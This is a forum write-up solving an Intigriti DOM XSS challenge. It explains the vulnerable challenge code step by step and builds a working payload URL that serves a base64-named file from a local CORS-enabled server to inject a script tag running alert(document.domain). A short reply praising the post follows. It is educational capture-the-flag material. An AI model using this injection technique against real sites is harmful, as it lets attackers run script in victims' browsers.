Intigriti XSS Challenge - Solution

challenge
challengesolution
#1

Hey there 0x00sec! :wave:

As promised, here is the solution for the latest XSS challenge made by Intigriti.

The challenge can be found here: https://challenge.intigriti.io/2
The original tweet: https://twitter.com/intigriti/status/1130788256285679618

I will try to make this write up as understandable as possible for all levels! So if you think that the challenge was too difficult and that you need to learn a lot before trying/understanding something like this, don’t worry! I will follow the steps I took when solving it in detail. I will add url links that you can interact with and see what I saw (errors) when trying to solve it. Don’t forget to reproduce all steps or the final link (with the actual XSS payload) won’t work!

Understanding the code

We will start by taking a look at the code. There are only 16 lines of code, so bear with me:

(1) if(window.location.hash == "")
        window.location.hash = "aW50aWdyaXRpLWNoYWxsZW5nZQ==";

(2) var b64img = window.location.hash.substr(1);
    var xhttp = new XMLHttpRequest();
    
(3) xhttp.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            var reader = new FileReader();
            reader.onloadend = function() {
            document.write(`
                <a href="${b64img}" alt="${atob(
                <img src="${reader.result}">
                </a>`);
            }
            reader.readAsDataURL(this.response);
        }
    };

(4) xhttp.responseType = 'blob';
    xhttp.open("GET", b64img, true);
    xhttp.send();

Let’s break it down into parts (numbers):

(1) if(window.location.hash == "")
        window.location.hash = "aW50aWdyaXRpLWNoYWxsZW5nZQ==";

This initial script only checks if the fragment identifier of the URL is empty. In that case, it adds the default string "aW50aWdyaXRpLWNoYWxsZW5nZQ==". If you have been playing a lot of CTFs, you should have seen right off the bat that this string is a Base64 encoded String. The two '=' at the end give as a big hint. The decoded string is: 'intigriti-challenge'. The URL that results after appending this B64 string is: https://challenge.intigriti.io/2/#aW50aWdyaXRpLWNoYWxsZW5nZQ==.

(2) var b64img = window.location.hash.substr(1);
    var xhttp = new XMLHttpRequest();

We now start with the main script. The first line gets the fragment identifier from the URL, removing the intial '#'. By default, b64img = "aW50aWdyaXRpLWNoYWxsZW5nZQ==".
The second line initializes an XMLHttpRequest that will be used.

(3) xhttp.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            var reader = new FileReader();
            reader.onloadend = function() {
            document.write(`
                <a href="${b64img}" alt="${atob(b64img)}">
                    <img src="${reader.result}">
                </a>`);
            }
            reader.readAsDataURL(this.response);
        }
    };

We are then presented with the vulnerable code. The script assigns a function to xhttp that will execute only if readyState == 4 and status == 200. This means that the code will only run when the request finishes and the status code is 200 OK.

When this happens, a new FileReader() is used to read the response. When the reader finishes “reading”, the function assigned to onloadend will execute, which then writes a new html tag to the document:

<a href="${b64img}" alt="${atob(b64img)}">
    <img src="${reader.result}">
</a>`);

This will be an a tag with href="aW50aWdyaXRpLWNoYWxsZW5nZQ==" by default. The alternate text assigned to this tag will be atob("aW50aWdyaXRpLWNoYWxsZW5nZQ=="), which (as we’ve already seen) results into "intigriti-challenge". Inside the a tag, an image is inserted with the response contents.

(4) xhttp.responseType = 'blob';
    xhttp.open("GET", b64img, true);
    xhttp.send();

The final lines of the script start the actual request. It sends a GET request to b64img. Since b64img is aW50aWdyaXRpLWNoYWxsZW5nZQ== by default, the resulting request is: https://challenge.intigriti.io/2/aW50aWdyaXRpLWNoYWxsZW5nZQ==

Which downloads the default image.

After this summary, we can understand why we see the image loaded by default. The steps your browser follows when you enter https://challenge.intigriti.io/2 are:

  1. The default fragment identifier is assigned: “aW50aWdyaXRpLWNoYWxsZW5nZQ==”
  2. The xhttp fires the request to b64img (https://challenge.intigriti.io/2/aW50aWdyaXRpLWNoYWxsZW5nZQ==)
  3. If the request succeeds, a new image is inserted with the response contents. The alt attribute of the a tag containing the image is the result of executing atob(b64img).

What do we have control over?

What do we control as attackers? What can we manipulate? You guessed it: the fragment identifier. We can modify the fragment identifier and start poking the script to see what happens when an invalid/malformed/unexpected fragment identifier is passed.

Since we now have a clear understanding of the code, we can start poking with something that makes sense: a valid URL path.

What happens if we try a random url? Say, google: https://challenge.intigriti.io/2#https://www.google.com

It doesn’t work because of CORS policy, as expected. What happens if we try with a server that accepts Cross-Origin requests? You can use https://cors-test.appspot.com/test to make cors requests, it will respond with status 200 OK. Thus, our new URL will be: http://challenge.intigriti.io/2/#https://cors-test.appspot.com/test

This time also fails, but the error is different:

This indicates us that atob failed to decode the string passed, which is b64img="https://cors-test.appspot.com/test". Obviously, it won’t work, since it contains invalid base 64 characters.

Ok, let’s back up a little. What else can we try? We can try with relative paths. This actually makes sense, since relative paths doesn’t contain invalid base64 characters, and we know that CORS won’t bother us.

What paths do we know exist in the server? Well, there are only 2:

  1. /2 - This is the URL path of the challenge per se.
  2. /2/aW50aWdyaXRpLWNoYWxsZW5nZQ== - This is the URL path of the default image loaded

Let’s start with the first one: https://challenge.intigriti.io/2#/2

The resulting web page will look like this:

xss_1

Whoa! What happened? Let’s look at the html generated using developer tools (F12 in google chrome):

<a href="/2" alt="ÿ">
    <img src="data:text/html;base64,PHNjcmlwdD4KICBpZih3aW5kb3cubG9...">
</a></body></html>

As we expected, href="/2", since the code specifies that href=${b64img}, and b64img="/2".

The alt attribute is "ÿ". Huh? Well, the code specifies that alt=${atob(b64img)}. What happens if you execute atob("/2") in the console of your browser? Exactly, "ÿ" is returned. Since "/2" is a string that contains valid base 64 characters, atob executes correctly and returns the decoded string.

But what is this "data:text/html;base64,PHNjcmlwdD4KICBpZih3aW5kb3cubG9..." assigned to src of the image? Well, let’s decode it:

<script>
  if(window.location.hash == "")
    window.location.hash = "aW50aWdyaXRpLWNoYWxsZW5nZQ==";
</script>
<!--
  <CHALLENGE>
  Tip: Bruteforce won't help you!
-->
<script>
var b64img = window.location.hash.substr(1);
...

That’s the actual html of the challenge!! The script scpecifies that src="${reader.result}", and since we are reading the path /2, the html code is treated as the image, even though it isn’t. That’s why there is no image in the actual page and we are presented with the default error image.

What happens now if we try the second path we know about: https://challenge.intigriti.io/2#/2/aW50aWdyaXRpLWNoYWxsZW5nZQ==

Whaat? There is no image this time:

xss_2

Hmmm… It seems atob failed to execute. But why? We know that this time b64img="/2/aW50aWdyaXRpLWNoYWxsZW5nZQ==", and is composed of valid b64 characters. Why did it fail? Well, if you search the web you will find that atob usually expects a Base64 string with even length (because of how B64 works), so we will have to add padding. Let’s try running atob in the console, but adding a valid character to the string:

> atob("//2/aW50aWdyaXRpLWNoYWxsZW5nZQ==")
        ^
        added '/' to the start of the string to make it even
<· "ÿý¿intigriti-challenge"

It worked! What happens now if we use this new URL path? https://challenge.intigriti.io/2#//2/aW50aWdyaXRpLWNoYWxsZW5nZQ==

It fails! But look at the error we get:

(index):26 GET https://0.0.0.2/aW50aWdyaXRpLWNoYWxsZW5nZQ== net::ERR_ADDRESS_UNREACHABLE

Notice how the line 26 of the code is failing this time. That’s the xhttp.send() line. It seems that now is failing because the URL is not valid. What URL is trying to access?

https://0.0.0.2/aW50aWdyaXRpLWNoYWxsZW5nZQ==

What the * is this? Well, if you search the web again for this, you will find that passing a string starting with "//" to XmlHttpRequest is equivalent to passing https://, but omiting the initial https: part. Huh, that’s interesting… In our example, it treated the //2/ as the IP address of the server, so that 2 becomes 0.0.0.2. What happens if we try something like… I don’t know, localhost?

Solving the Challenge

For that, we first need to start a localhost http server. We can use python in one line:

$ sudo python -m SimpleHTTPServer 80

Sidenote: we have to use port 80. If we used the default 8000 port, we would have to specify it in the IP address like this ‘ip_address:80’. Since ':' is not a valid B64 character, atob would fail.

Let’s try again. We have to translate 127.0.0.1 (localhost) to decimal: 2130706433.
The resulting url will be: https://challenge.intigriti.io/2#//2130706433

We get an error because we are trying to access http (localhost) from https (server). Let’s try again using http instead:
http://challenge.intigriti.io/2#//2130706433

Hmmm… We now face the CORS problem again. No worries! Since we are the owners of our server running in localhost, we can enable CORS. I found it too cumbersome to activate cors using python, so instead I used http-server from npm. You can install it using: npm install -g http-server. Be sure to stop the previous python server before starting this one!

$ npm install -g http-server
$ http-server --cors -p 80

We now have a running localhost server with CORS enabled. To make this example more fun, we will add an image to our localhost server and access it. The image I used is the 0x00sec logo. Add your image to the root directory of your localhost server. Name it whatever you want, but REMEMBER! don’t use any invalid base64 characters, or atob will fail. I named my image 0x00sec. Let’s try again using our image path: http://challenge.intigriti.io/2#//2130706433/0x00sec

Hell yeah!!! It worked! The request returned a 200 OK code, which triggered the code that reads the response (our 0x00sec image), which eventually inserts it into the DOM as an img.

But the challenge asked for a DOM XSS vulnerability! We have to execute JS code in the browser. Let’s see, how can we achieve it? Let’s inspect the vulnerable code again:

<a href="${b64img}" alt="${atob(b64img)}">
    <img src="${reader.result}">
</a>`);

The alt attribute uses the output of atob(b64img) and inserts it into the DOM. In the previous example, the alt tag was: atob("//2130706433/0x00sec") = "ÿýµßNôë÷ÿLtÒǜ". Hmmm… What would happen if the output of atob resulted in html code? Let’s try it! The challenge asks us to execute the following code:

alert(document.domain)

Thus, the output of atob will have to look something like this:

"><script>alert(document.domain)</script>

Why??? (you should ask) Well, because this would then be inserted in alt. The resulting html code would look like this:

<a href="${b64img}" alt=""><script>alert(document.domain)</script>">
    <img src="${reader.result}">
</a>

See what I did there? :wink:

The last thing remaining is to generate a B64 string that, when decoded, would generate the string mentioned. Using any B64 encoder we get:

Ij48c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik8L3NjcmlwdD4=

Let’s try to rename our 0x00sec image file to this name. The resulting url will be:
http://challenge.intigriti.io/2#//2130706433/Ij48c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik8L3NjcmlwdD4=

Hmmm… we got the atob error again, but we know how to solve it!! We just have to pad the string to a valid length. Let’s try adding a subdirectory to our server root dir:

http://challenge.intigriti.io/2#//2130706433/aa/Ij48c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik8L3NjcmlwdD4=
                                            ^^^

We then save the renamed 0x00sec image inside the /aa/ directory. Let’s try it again!

http://challenge.intigriti.io/2#//2130706433/aa/Ij48c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik8L3NjcmlwdD4=

And there you have it! We successfully injected and executed JS code into the web page. We can check the html code generated to confirm this:

<a href="//2130706433/aa/Ij48c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik8L3NjcmlwdD4=" alt="ÿýµßNôë÷ý¦¿"><script>alert(document.domain)</script>"&gt;
    <img src="data:application/octet-stream;base64, iVBORw0KGgoAAAANSUhEUgAAA...">
</a>

There it is! This type of XSS is known as DOM XSS. You can read more about XSS and different types of XSS here.

But why would this challenge be of any harm if it were to happen in the wild? How could hackers attack it? Well, it would be as easy as creating your own public server, accessible from anywhere. Once you accomplished that, you could send the infectious URL containing the XSS payload (with your server address, not localhost!) to anyone.

Phew! That was it! I really enjoyed solving it and I’m looking forward to future challenges. I hope this write-up makes sense! Feel free to comment/ask/suggest anything in the comments section :slight_smile:

See you around,
~hasp0t

10 Likes

(Leader & Offsec Engineer & Forum Daddy) #2

Man, this was a trip!

Really is an interesting XSS method, thanks for the writeup and going over this! I’m getting vague memories of how SQLi esq this is with the "><script>alert(document.domain)</script> payload.

Good job man! Look forward to more web stuff :slight_smile:

2 Likes